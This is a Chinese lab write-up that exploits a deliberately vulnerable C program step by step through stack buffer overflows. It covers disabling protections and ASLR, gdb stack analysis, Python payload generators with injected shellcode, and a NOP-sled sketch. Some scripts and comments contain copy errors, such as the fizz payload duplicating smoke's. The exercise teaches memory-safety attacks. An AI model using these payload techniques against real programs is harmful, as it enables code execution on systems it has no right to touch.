緩衝區溢出實驗筆記
聲明
- 本WP針對截止於2025年的KALI系統的WP。後續操作系統的安全檢測是否會導致本WP失效不得而知。
- 小編任務較重,時間有限,最後一個難度僅提供思路。
實驗源代碼
- 由於編譯器日新月異,曾經的代碼編譯會觸發安全警告,這裏小編自行編寫了gets不安全函數。
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
char* userID;
int cookie = 45; //user specific. But now just set to '45'
int global_value = 0;
char* gets(char* str)
{
int c;
char* s = str;
while ((c = getchar()) != '\n' && c != EOF)
*s++ = c;
*s = '\0';
return str;
}
void bang(int val)
{
if (global_value == cookie)
printf("Bang!: You set global_value to 0x%x\n",global_value);
else
printf("Bang!: Attacked!!!!!!!!!!!!!!!!!!!\n");
exit(0);
}
void fizz(int val)
{
if (val == cookie)
printf("Fizz!: You called fizz(0x%x)\n", val);
else
printf("Fizz!: Attacked!!!!!!!!!!!!!!!!\n");
exit(0);
}
void smoke()
{
printf("Smoke!: You called smoke()\n");
exit(0);
}
//calculate a unique number for 'userID'.
int uniqueval()
{
int i;
i = userID[0];
return 0x11223344;
}
#define NORMAL_BUFFER_SIZE 32
// Get input data, fill in buffer */
int getbuf()
{
int var_getbuf;
char buf[NORMAL_BUFFER_SIZE];
printf("Please type a string (< %d chars):",NORMAL_BUFFER_SIZE);
gets(buf);
return 1;
}
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/*Check for corrupted stack: local的值又沒有被getbuf()函數破壞?*/
if (local != uniqueval())
printf("Sabotaged!: the stack has been corrupted\n");
else if (val == cookie)
printf("Boom!: success\n");
else
printf("getbuf() returned 0x%x\n", val);
}
#define KABOOM_BUFFER_SIZE 512
//getbufn() uses a bigger buffer than getbuf()
int getbufn()
{
char buf[KABOOM_BUFFER_SIZE];
printf("Please type a string (< %d chars):",KABOOM_BUFFER_SIZE);
gets(buf);
return 1;
}
void testn()
{
int val;
volatile int local = uniqueval();
val = getbufn();
/* Check for corrupted stack */
if (local != uniqueval())
printf("Sabotaged!: the stack has been corrupted\n");
else if (val == cookie)
printf("KABOOM!: success\n");
else
printf("getbufn returned 0x%x\n", val);
}
//run this program with 2 any params such as "userID n" to test 'Kaboom' attack.
int main(int argc, char**argv)
{
int i;
if (argc <2 )
{
printf("Usage: %s <userID> [n]\r\n",argv[0]);
return 0;
}
userID = argv[1];
if (argc >2 )
{
//experiment 'kaboom'
printf("--- calling testn() for 'kaboom' test---\n"); //在windows系統下,回車換行符號是"\r\n".但是在Linux系統下是沒有"\r"符號的。
testn();
}
else
{
//experiments exept 'kaboom'
printf("--- calling test()---\n");
test();
}
}
編譯配置
首先編譯的時候要開啓全棧可運行,關閉PIE動態編譯
指令如下:
gcc -z execstack -no-pie -fno-stack-protector -g -o ${filename} ${filename}.c
因為我們首先要保證地址不變,其次要保證棧內的惡意代碼是可以運行的。
關閉PIE難度會大大增加,但不是不能做;關閉execstack後實驗難度飆升至地獄難度,涉及複雜的提權過程。
其次,難度0-3關閉棧空間地址隨機化,命令如下:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
一、Smoke函數
1. 確定getbuf函數的棧幀結構
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ gdb ./main
2. 設置斷點並運行至斷點處
(gdb) break getbuf
(gdb) run
3. 查看反彙編
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
0x0000000000401272 <+0>: push %rbp
0x0000000000401273 <+1>: mov %rsp,%rbp
0x0000000000401276 <+4>: sub $0x20,%rsp
0x000000000040127a <+8>: mov $0x20,%esi
0x000000000040127f <+13>: lea 0xe32(%rip),%rax # 0x4020b8
0x0000000000401286 <+20>: mov %rax,%rdi
0x0000000000401289 <+23>: mov $0x0,%eax
0x000000000040128e <+28>: call 0x401040 <printf@plt>
0x0000000000401293 <+33>: lea -0x20(%rbp),%rax
0x0000000000401297 <+37>: mov %rax,%rdi
0x000000000040129a <+40>: call 0x401156 <gets>
0x000000000040129f <+45>: mov $0x1,%eax
0x00000000004012a4 <+50>: leave
0x00000000004012a5 <+51>: ret
End of assembler dump.
代碼分析:
我們令RSP = 0
push %rbp- getbuf先將test()函數的RBP保存到了自己的棧幀中,此時RSP = 0 - 8 = -8mov %rsp,%rbp- 隨後將RSP放入RBP中(設置新的RBP),此時RBP = -8sub $0x20,%rsp- 將Stack Pointer向下移動32字節,開闢了32字節的棧空間,此時RSP = -40lea -0x20(%rbp),%rax- RAX中就是buf的起始地址,此時RSP = -8,那麼&buf = -40
棧幀梳理:
+8 [返回地址]
0 [起始位置]
-8 [test的舊RBP]
-16 [buf[24~31]]
-24 [buf[16~23]]
-32 [buf[8~15]]
-40 [buf[0~7]]
4. 編寫Payload
由此我們知道了只需要往BUFFER中寫入40字節就能覆蓋getbuf的所有棧幀,再寫入Smoke的地址就OK了,代碼如下:
import sys
smoke_addr = 0x40123a
payload = b'A' * 40
payload += smoke_addr.to_bytes(8, byteorder='little')
with open(r'./payload/smoke.bin', 'wb') as f:
f.write(payload)
print("Payload written to payload.bin")
5. 運行驗證
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ ./main test < ./payload/smoke.bin
--- calling test()---
Please type a string (< 32 chars):Smoke!: You called smoke()
二、Fizz函數
前言
fizz函數有一個參數,我們需要偽造一個參數。
1. 查看fizz函數的地址
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ objdump -d main | grep "<fizz>"
00000000004011f0 <fizz>:
2. 進入main函數的debug模式
(gdb) ./main
3. 查看fizz函數的棧幀
(gdb) disas fizz
Dump of assembler code for function fizz:
0x00000000004011f0 <+0>: push %rbp
0x00000000004011f1 <+1>: mov %rsp,%rbp
0x00000000004011f4 <+4>: sub $0x10,%rsp
0x00000000004011f8 <+8>: mov %edi,-0x4(%rbp)
0x00000000004011fb <+11>: mov 0x2e2f(%rip),%eax # 0x404030 <cookie>
0x0000000000401201 <+17>: cmp %eax,-0x4(%rbp)
0x0000000000401204 <+20>: jne 0x401221 <fizz+49>
0x0000000000401206 <+22>: mov -0x4(%rbp),%eax
0x0000000000401209 <+25>: mov %eax,%esi
0x000000000040120b <+27>: lea 0xe42(%rip),%rax # 0x402054
0x0000000000401212 <+34>: mov %rax,%rdi
0x0000000000401215 <+37>: mov $0x0,%eax
0x000000000040121a <+42>: call 0x401040 <printf@plt>
0x000000000040121f <+47>: jmp 0x401230 <fizz+64>
0x0000000000401221 <+49>: lea 0xe50(%rip),%rax # 0x402078
0x0000000000401228 <+56>: mov %rax,%rdi
0x000000000040122b <+59>: call 0x401030 <puts@plt>
0x0000000000401230 <+64>: mov $0x0,%edi
代碼分析:
我們令RSP = 0
push %rbp- 同樣,保存舊的RBP;RSP = 0 - 8 = -8mov %rsp,%rbp- 同樣,將RPB更新;RBP = -8sub $0x10,%rsp- 開闢一份16字節的空間;RSP = -8 - 16 = -24mov %edi,-0x4(%rbp)- 將EDI中的內容放入RBP - 4 = -12中,這裏已經可以猜測就是參數val了mov 0x2e2f(%rip),%eax- (EAX) = cookiecmp %eax,-0x4(%rbp)- 這就是if (val == cookie)的判斷語句
綜上我們已經掌握了函數的所有內容:
- RBP - 4: 參數
- EAX: cookie
4. 查看getbuf的地址
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ objdump -d main | grep "<getbuf>"
0000000000401272 <getbuf>:
5. 確認攻擊流程
其實我們看了彙編就是知道,程序只知道 RBP-4 存放了參數,所以我們只要讓RBP指向 &cookie+4 的位置程序就會以為cookie等於value。
我們得知cookie的地址是0x404030,因此我們需要讓RBP=0x404034。
但是fizz函數的彙編告訴我們它一開始會保存舊的RBP(也就是getbuf的),我們就沒法通過修改RBP的值通過val==cookie驗證。
但是我們可以直接繞過驗證,直接把返回地址設置為0x401206(具體內容見上),就可以繞過驗證了。
6. 編寫代碼
import sys
smoke_addr = 0x40123a
payload = b'A' * 40
payload += smoke_addr.to_bytes(8, byteorder='little')
with open(r'./payload/smoke.bin', 'wb') as f:
f.write(payload)
print("Payload written to payload.bin")
7. 驗證
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ python3 ./fizz.py
Payload written to payload.bin
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ ./main test < ./payload/fizz.bin
--- calling test()---
Please type a string (< 32 chars):Fizz!: You called fizz(0x2d)
三、Bang函數
前言
在我們運行程序的時候,其實就算關閉的PIE功能,程序的運行環境不同也會導致棧結構的不同。
在本內容中,我們需要通過修改getbuf函數的返回地址(變為我們的惡意代碼的起始地址,許多病毒的基本邏輯)
但是由於環境會發生變化,所以有時候會出現GDB環境下可以運行,但是直接運行會出現segment default或者instruction default。結果如下所示:
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ ./main test < ./payload/bang.bin
--- calling test()---
Segmentation fault
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ gdb ./main
GNU gdb (Debian 16.3-1) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./main...
(gdb) run test < ./payload/bang.bin
Starting program: /mnt/d/Code/C/VSCode/IOT/main test < ./payload/bang.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--- calling test()---
Please type a string (< 32 chars):Bang!: You set global_value to 0x2d
[Inferior 1 (process 1032) exited normally]
本質原因就是運行環境的不同導致棧幀發生了位移。比如我們在運行gbd的時候gbd加載的是絕對地址,但是./main運行則是相對地址,參數的不同必然是會導致棧幀發生變化的。
因此r.sh就是用來固化環境的腳本,每次運行之前用r.sh固化環境就可以保證棧地址每次運行都是相同的。
參考:
- https://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html
- https://github.com/hellman/fixenv/blob/master/r.sh
0. 重新查看buf的起始地址
此部分我們需要重新查看buf的起始地址,因為我們需要固化棧地址來確定到底buf首地址在哪裏。
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ ./r.sh gdb ./main
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
0x0000000000401272 <+0>: push %rbp
0x0000000000401273 <+1>: mov %rsp,%rbp
0x0000000000401276 <+4>: sub $0x20,%rsp
0x000000000040127a <+8>: mov $0x20,%esi
0x000000000040127f <+13>: lea 0xe32(%rip),%rax # 0x4020b8
0x0000000000401286 <+20>: mov %rax,%rdi
0x0000000000401289 <+23>: mov $0x0,%eax
0x000000000040128e <+28>: call 0x401040 <printf@plt>
0x0000000000401293 <+33>: lea -0x20(%rbp),%rax
0x0000000000401297 <+37>: mov %rax,%rdi
0x000000000040129a <+40>: call 0x401156 <gets>
0x000000000040129f <+45>: mov $0x1,%eax
0x00000000004012a4 <+50>: leave
0x00000000004012a5 <+51>: ret
End of assembler dump.
(gdb) break *0x40129a
Breakpoint 1 at 0x40129a: file main.c, line 59.
(gdb) run test < ./payload/bang.bin
Starting program: /mnt/d/Code/C/VSCode/IOT/.launcher test < ./payload/bang.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--- calling test()---
Breakpoint 1, 0x000000000040129a in getbuf () at main.c:59
59 gets(buf);
(gdb) info registers rax rdi
rax 0x7fffffffd940 140737488345408
rdi 0x7fffffffd940 140737488345408
由此我們可以看到buf的起始地址居然變成了0x7fffffffd940(幽默)。
1. 查看bang函數的地址
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ objdump -d main | grep "<bang>"
000000000040119e <bang>:
2. 查看bang反彙編
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ ./r.sh gdb ./main
(gdb) disassemble bang
Dump of assembler code for function bang:
0x000000000040119e <+0>: push %rbp
0x000000000040119f <+1>: mov %rsp,%rbp
0x00000000004011a2 <+4>: sub $0x10,%rsp
0x00000000004011a6 <+8>: mov %edi,-0x4(%rbp)
0x00000000004011a9 <+11>: mov 0x2e99(%rip),%edx # 0x404048 <global_value>
0x00000000004011af <+17>: mov 0x2e7b(%rip),%eax # 0x404030 <cookie>
0x00000000004011b5 <+23>: cmp %eax,%edx
0x00000000004011b7 <+25>: jne 0x4011d7 <bang+57>
0x00000000004011b9 <+27>: mov 0x2e89(%rip),%eax # 0x404048 <global_value>
0x00000000004011bf <+33>: mov %eax,%esi
0x00000000004011c1 <+35>: lea 0xe40(%rip),%rax # 0x402008
0x00000000004011c8 <+42>: mov %rax,%rdi
0x00000000004011cb <+45>: mov $0x0,%eax
0x00000000004011d0 <+50>: call 0x401040 <printf@plt>
0x00000000004011d5 <+55>: jmp 0x4011e6 <bang+72>
0x00000000004011d7 <+57>: lea 0xe52(%rip),%rax # 0x402030
0x00000000004011de <+64>: mov %rax,%rdi
代碼分析:
我們令RSP = 0
push %rbp- 同樣,保存舊的RBP;RSP = 0 - 8 = -8mov %rsp,%rbp- 同樣,將RPB更新;RBP = -8sub $0x10,%rsp- 開闢一份16字節的空間;RSP = -8 - 16 = -24mov %edi,-0x4(%rbp)- 將EDI中的內容放入RBP - 4 = -12中,這裏也是可以猜測就是參數val了mov 0x2e99(%rip),%edx- (EDX) = global_valuemov 0x2e7b(%rip),%eax- (EAX) = cookie
信息分析:
- &cookie = 0x404030
- &global_value = 0x404048
信息彙總:
- &cookie = 0x404030
- &global_value = 0x404048
- &buf = 0x7fffffffd940
- &bang = 0x40119e
3. 編寫代碼,將cookie的值(0x2d)放入global_value中
mov $0x2d, %rdx
mov %rdx, 0x404048
push $0x40119e
ret
4. 編譯後查看機器碼
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ gcc -c ./assembly/bang.s -o ./assembly/bang.o
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ objdump -d ./assembly/bang.o
./assembly/bang.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c2 2d 00 00 00 mov $0x2d,%rdx
7: 48 89 14 25 48 40 40 mov %rdx,0x404048
e: 00
f: 68 9e 11 40 00 push $0x40119e
14: c3 ret
5. 編寫腳本
import sys
shellcode = b'\x48\xc7\xc2\x2d\x00\x00\x00' # mov $0x404030,%rdx
shellcode += b'\x48\x89\x14\x25\x48\x40\x40\x00' # mov %rdx,0x404048
shellcode += b'\x68\x9e\x11\x40\x00' # push $0x40119e
shellcode += b'\xc3' # ret
buf_addr = 0x7fffffffd940
buf_size = 32
padding_size = buf_size - len(shellcode)
payload = shellcode
payload += b'A' * padding_size
payload += b'B' * 8
payload += buf_addr.to_bytes(8, byteorder='little') # 覆蓋返回地址
with open(r'./payload/bang.bin', 'wb') as f:
f.write(payload)
print("Payload written to bang.bin")
6. 運行
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ ./r.sh ./main test < ./payload/bang.bin
--- calling test()---
Please type a string (< 32 chars):Bang!: You set global_value to 0x2d
四、Boom函數
前言
本難度任務就是修復破壞掉的現場,使得程序能夠正常返回到test中並且輸出“Boom!: success”
1. 查看test函數的反彙編代碼
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ gdb ./main
(gdb) disassemble test
Dump of assembler code for function test:
0x00000000004012a6 <+0>: push %rbp
0x00000000004012a7 <+1>: mov %rsp,%rbp
0x00000000004012aa <+4>: sub $0x10,%rsp
0x00000000004012ae <+8>: mov $0x0,%eax
0x00000000004012b3 <+13>: call 0x401257 <uniqueval>
0x00000000004012b8 <+18>: mov %eax,-0x8(%rbp)
0x00000000004012bb <+21>: mov $0x0,%eax
0x00000000004012c0 <+26>: call 0x401272 <getbuf>
0x00000000004012c5 <+31>: mov %eax,-0x4(%rbp)
0x00000000004012c8 <+34>: mov $0x0,%eax
0x00000000004012cd <+39>: call 0x401257 <uniqueval>
0x00000000004012d2 <+44>: mov %eax,%edx
0x00000000004012d4 <+46>: mov -0x8(%rbp),%eax
0x00000000004012d7 <+49>: cmp %eax,%edx
0x00000000004012d9 <+51>: je 0x4012ec <test+70>
0x00000000004012db <+53>: lea 0xdfe(%rip),%rax # 0x4020e0
0x00000000004012e2 <+60>: mov %rax,%rdi
0x00000000004012e5 <+63>: call 0x401030 <puts@plt>
0x00000000004012ea <+68>: jmp 0x401321 <test+123>
0x00000000004012ec <+70>: mov 0x2d3e(%rip),%eax # 0x404030 <cookie>
0x00000000004012f2 <+76>: cmp %eax,-0x4(%rbp)
0x00000000004012f5 <+79>: jne 0x401308 <test+98>
0x00000000004012f7 <+81>: lea 0xe0b(%rip),%rax # 0x402109
0x00000000004012fe <+88>: mov %rax,%rdi
0x0000000000401301 <+91>: call 0x401030 <puts@plt>
0x0000000000401306 <+96>: jmp 0x401321 <test+123>
0x0000000000401308 <+98>: mov -0x4(%rbp),%eax
0x000000000040130b <+101>: mov %eax,%esi
0x000000000040130d <+103>: lea 0xe05(%rip),%rax # 0x402119
0x0000000000401314 <+110>: mov %rax,%rdi
0x0000000000401317 <+113>: mov $0x0,%eax
0x000000000040131c <+118>: call 0x401040 <printf@plt>
0x0000000000401321 <+123>: nop
0x0000000000401322 <+124>: leave
0x0000000000401323 <+125>: ret
代碼分析:
push %rbp- 保存舊的RBPmov %rsp,%rbp- 設置新RBP,與當前Stack Pointer相同call 0x401257 <uniqueval>- 調用uniqueval函數sub $0x10,%rsp- RSP向下移動16字節,即開闢16字節空間mov $0x0,%eax- EAX清零操作mov %eax,-0x8(%rbp)- 將返回值保存到RBP-8的位置,這裏大概就是local局部變量的位置了call 0x401272 <getbuf>- 調用getbuf函數mov %eax,-0x4(%rbp)- 將返回值保存到RBP-4的位置,這裏大概就是val局部變量的位置了call 0x401257 <uniqueval>- 調用getbuf函數mov %eax,%edx- 返回值(0x11223344)保存到EDX中mov -0x8(%rbp),%eax- 將局部變量local的值放在EAX中cmp %eax,%edx- 本質上就是分析local的值是否被惡意修改了je 0x4012ec <test+70>- 相等(沒有被修改掉)則跳轉mov 0x2d3e(%rip),%eax- cookie的值放到EAX中cmp %eax,-0x4(%rbp)- if (cookie == val)
2. 思路分析
到這裏我們其實就可以發現只要將EAX中的值修改為cookie其實就沒什麼問題了。然後就會輸出“Boom!: success”的字符串。
再者,我們32字節的buf覆蓋完成之後,由於getbuf先前PUSH了一個RBP,所以這裏我們要使用RBP的原來的值進行覆蓋(這是最簡單的方式,但不是唯一的方式)
然後就是跳轉地址,我認為我們可以跳轉到 0x4012c5 執行mov %eax,%edx 操作。這樣我們的val就被替換成cookie了。
但是!這並不像我們實驗報告上寫的那麼簡單!!!
注意:在跳轉之後我們還有一個問題,先分析如下代碼:
call 0x401257 <uniqueval>
mov %eax,%edx
mov -0x8(%rbp),%eax
cmp %eax,%edx
je 0x4012ec <test+70>
在真正進入"Boom: success"之前,我們還要解決驗證的問題。也就是我們要從-0x8(%rbp)處拿到我們的local數據和真正的local(0x11223344)進行比較
但是我們直接就跳轉到了 0x4012c5,根本沒有對-0x8(%rbp)進行初始化,因此我們的payload還要對這個地址進行初始化。
那我們理論存在,實踐開始!
3. 查看RBP中到存放的信息,得知是0x7fffffffd930
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ gdb ./main
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
0x0000000000401272 <+0>: push %rbp
0x0000000000401273 <+1>: mov %rsp,%rbp
0x0000000000401276 <+4>: sub $0x20,%rsp
0x000000000040127a <+8>: mov $0x20,%esi
0x000000000040127f <+13>: lea 0xe32(%rip),%rax # 0x4020b8
0x0000000000401286 <+20>: mov %rax,%rdi
0x0000000000401289 <+23>: mov $0x0,%eax
0x000000000040128e <+28>: call 0x401040 <printf@plt>
0x0000000000401293 <+33>: lea -0x20(%rbp),%rax
0x0000000000401297 <+37>: mov %rax,%rdi
0x000000000040129a <+40>: call 0x401156 <gets>
0x000000000040129f <+45>: mov $0x1,%eax
0x00000000004012a4 <+50>: leave
0x00000000004012a5 <+51>: ret
End of assembler dump.
(gdb) break *0x401273
Breakpoint 1 at 0x401273: file main.c, line 55.
(gdb) run test
(gdb) info registers rbp
rbp 0x7fffffffd930 0x7fffffffd930
4. 編寫惡意代碼,並編譯,查看機器碼
movl $0x11223344, %eax
movl %eax, 0x7fffffffd928
movq $0x2d, %rax
pushq $0x4012c5
ret
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT/assembly]
└─$ gcc -c boom.s -o boom.o
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT/assembly]
└─$ objdump -d ./boom.o
./boom.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: b8 44 33 22 11 mov $0x11223344,%eax
5: a3 24 d9 ff ff ff 7f movabs %eax,0x7fffffffd924
c: 00 00
e: 48 c7 c0 2d 00 00 00 mov $0x2d,%rax
15: 68 c5 12 40 00 push $0x4012c5
1a: c3 ret
5. 編寫腳本
import sys
shellcode = b'\xb8\x44\x33\x22\x11' # mov $0x11223344,%eax
shellcode += b'\xa3\x28\xd9\xff\xff\xff\x7f\x00\x00' # movabs %eax,0x7fffffffd928
shellcode += b'\x48\xc7\xc0\x2d\x00\x00\x00' # mov $0x404030,%rdx
shellcode += b'\x68\xc5\x12\x40\x00' # push 0x4012c5
shellcode += b'\xc3' # ret
buf_addr = 0x7fffffffd940
RBP_value = 0x7fffffffd980
buf_size = 32
padding_size = buf_size - len(shellcode)
payload = shellcode
payload += b'A' * padding_size
payload += RBP_value.to_bytes(8, byteorder='little')
payload += buf_addr.to_bytes(8, byteorder='little') # 覆蓋返回地址
with open(r'./payload/boom.bin', 'wb') as f:
f.write(payload)
print("Payload written to boom.bin")
6. 運行
┌──(kali㉿ORSTED-LAPTOP)-[/mnt/d/Code/C/VSCode/IOT]
└─$ ./r.sh ./main test < ./payload/boom.bin
--- calling test()---
Please type a string (< 32 chars):Boom!: success
五、 512字節大緩衝區溢出
前言
這裏的話我們看題目意思就是説我們要關閉掉我們的環境固化腳本,讓棧幀可以在一定微小範圍內進行波動。
因為512字節已經足夠大到覆蓋掉偏移範圍。
因此我們只需要把我們的shellcode放置在payload最後,並且用NOP和現場值填充剩餘的空間就行了。
原理其實很簡單,因為如果發生偏移了,那麼也會偏移到後續的NOP指令開始執行代碼,最終都會回到Shellcode上的。
其實本人在沒有解決棧幀微小偏移之前,用的就是這個方法。詳細信息見下:
import sys
shellcode = b'\x48\xc7\xc2\x2d\x00\x00\x00' # mov $0x404030,%rdx
shellcode += b'\x48\x89\x14\x25\x48\x40\x40\x00' # mov %rdx,0x404048
shellcode += b'\x68\x9e\x11\x40\x00' # push $0x40119e
shellcode += b'\xc3' # ret
buf_addr = 0x7fffffffd940
buf_size = 32
padding_size = buf_size - len(shellcode)
payload = b'\x90' * padding_size
payload += shellcode
payload += b'\x90' * 8
payload += buf_addr.to_bytes(8, byteorder='little') # 覆蓋返回地址
with open(r'./payload/bang.bin', 'wb') as f:
f.write(payload)
print("Payload written to bang.bin")
由於這個緩衝區太小了,沒辦法完全覆蓋棧空間的變化,因此有時候我們認為的buf_addr其實是要比實際的buf_addr大的(至少大了 buf_size - len(shellcode) + 8 個字節,也就是NOP的字節數),因此也還是會報"Segmentation Default"之類的錯誤的。
這個思路就是本題所涉及的思路。畢竟作者時間有限,沒法完成後續的工作了,這部分工作就交給讀者照葫蘆畫瓢地完成吧!
別忘了,按照這個難度的題意,我們要開啓棧空間隨機化,並且嘗試拋棄r.sh腳本的輔助試一試。至於拋棄r.sh腳本到底能否做得出來,是有待實驗探尋的。畢竟操作系統日新月異,老教材的棧空間隨機化以及運行環境導致的棧幀差異在如今的計算機環境上還是有很多不確定性的。
如下命令用於開啓棧空間隨機化:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
1. 查看getbufn的反彙編代碼,並且在響應的位置設置斷點
(gdb) disas getbufn
Dump of assembler code for function getbufn:
0x0000000000401324 <+0>: push %rbp
0x0000000000401325 <+1>: mov %rsp,%rbp
0x0000000000401328 <+4>: sub $0x200,%rsp
0x000000000040132f <+11>: mov $0x200,%esi
0x0000000000401334 <+16>: lea 0xd7d(%rip),%rax # 0x4020b8
0x000000000040133b <+23>: mov %rax,%rdi
0x000000000040133e <+26>: mov $0x0,%eax
0x0000000000401343 <+31>: call 0x401040 <printf@plt>
0x0000000000401348 <+36>: lea -0x200(%rbp),%rax
0x000000000040134f <+43>: mov %rax,%rdi
0x0000000000401352 <+46>: call 0x401156 <gets>
0x0000000000401357 <+51>: mov $0x1,%eax
0x000000000040135c <+56>: leave
0x000000000040135d <+57>: ret
End of assembler dump.
(gdb) break *0x401324
Breakpoint 1 at 0x401324: file main.c, line 83.
(gdb) break *0x401352
Breakpoint 2 at 0x401352: file main.c, line 86.
未完待續...
- 如有任何問題,歡迎聯繫:christianorsted05@outlook.com